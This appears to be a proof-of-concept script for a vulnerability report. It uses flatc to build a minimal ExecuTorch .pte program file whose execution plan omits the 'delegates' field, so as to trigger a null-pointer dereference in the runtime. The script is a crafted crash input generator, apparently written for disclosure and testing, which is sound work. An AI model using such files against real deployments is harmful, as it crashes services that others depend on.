#!/usr/bin/env python3
"""
Generates poc_uses_backend_null_deref.pte — a well-formed .pte (Program) file
with one ExecutionPlan ("forward") that omits the optional `delegates` field.

Requires: flatc (built from the ExecuTorch source tree's vendored
third-party/flatbuffers) and the project's schema/program.fbs +
schema/scalar_type.fbs files.

Note: this build's CMakeLists.txt sets -DET_ENABLE_DEPRECATED_CONSTANT_BUFFER=0,
so a minimal valid .pte must use the `constant_segment` field (not the
deprecated `constant_buffer` field) even for a program with no constants.

Usage:
    python3 gen_poc.py /path/to/executorch/schema /path/to/flatc
"""
import os
import shutil
import subprocess
import sys


PROGRAM_JSON = """{
  "version": 0,
  "execution_plan": [
    {
      "name": "forward",
      "values": [],
      "inputs": [],
      "outputs": [],
      "chains": [],
      "operators": [],
      "non_const_buffer_sizes": [0]
    }
  ],
  "segments": [
    { "offset": 0, "size": 0 }
  ],
  "constant_segment": {
    "segment_index": 0,
    "offsets": [0]
  }
}
"""


def build(schema_dir: str, flatc: str, out_path: str) -> None:
    workdir = os.path.dirname(os.path.abspath(out_path)) + "/_gen_tmp"
    os.makedirs(workdir, exist_ok=True)
    try:
        for fname in ("program.fbs", "scalar_type.fbs"):
            shutil.copy(os.path.join(schema_dir, fname), os.path.join(workdir, fname))

        json_path = os.path.join(workdir, "program.json")
        with open(json_path, "w") as f:
            f.write(PROGRAM_JSON)

        subprocess.run(
            [flatc, "--binary", "program.fbs", "program.json"],
            cwd=workdir,
            check=True,
        )

        produced = os.path.join(workdir, "program.pte")
        shutil.copy(produced, out_path)
        print(f"Wrote {out_path} ({os.path.getsize(out_path)} bytes)")
    finally:
        shutil.rmtree(workdir, ignore_errors=True)


if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(__doc__)
        sys.exit(1)
    build(sys.argv[1], sys.argv[2], os.path.join(os.path.dirname(__file__), "poc_uses_backend_null_deref.pte"))